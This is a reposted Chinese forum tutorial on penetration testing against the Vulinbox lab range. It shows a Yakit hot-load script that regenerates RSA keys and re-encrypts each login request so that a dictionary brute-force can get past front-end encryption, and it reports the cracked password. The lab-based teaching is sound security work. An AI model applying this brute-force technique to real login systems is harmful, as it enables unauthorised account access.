ToB企服应用市场:ToB评测及商务社交产业平台
标题:
渗出测试-前端加密分析之RSA加密登录(密钥来源本地)
[打印本页]
作者:
忿忿的泥巴坨
时间:
2024-12-21 04:26
标题:
渗出测试-前端加密分析之RSA加密登录(密钥来源本地)
本文是高级前端加解密与验签实战的第5篇文章,本系列文章实行靶场为Yakit里自带的Vulinbox靶场,本文报告的是绕过前端RSA加密来爆破登录。
分析
generateKey函数用来生成随机的RSA公私钥
加密的格式如下:
{"username":"admin","password":"123456","age":"20"}
复制代码
对数据进行RSA加密,请求包格式:
热加载
这是本人写的Yakit热加载代码,通过beforeRequest hook请求包,调用encrypt函数进行加密,终极实现热加载自动加密功能。由于密钥是从前端获取,所以直在在热加载里生成了。
encrypt = (packet) => {
//生成RSA密钥
publicKey, privateKey = tls.GenerateRSA2048KeyPair()~
//base64编码
publicKeyBase64 = codec.EncodeBase64(publicKey)
privateKeyBase64 = codec.EncodeBase64(privateKey)
body = poc.GetHTTPPacketBody(packet)
data = codec.RSAEncryptWithOAEP(publicKey /*type: []byte*/, body)~ // RSA加密
data = codec.EncodeBase64(data)
//处理换行符
publicKey = str.ReplaceAll(publicKey, "\n", r"\n")
privateKey = str.ReplaceAll(privateKey, "\n", r"\n")
//构造请求体
body = f`{"data":"${data}","publicKey":"${publicKey}","publicKeyBase64":"${publicKeyBase64}","privateKey":"${privateKey}","privateKeyBase64":"${privateKeyBase64}"}`
return string(poc.ReplaceBody(packet, body, false))
}
//发送到服务端修改数据包
beforeRequest = func(req){
return encrypt(req)
}
复制代码
结果:
利用字典爆破,爆破成功,可以看到密码为admin123。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4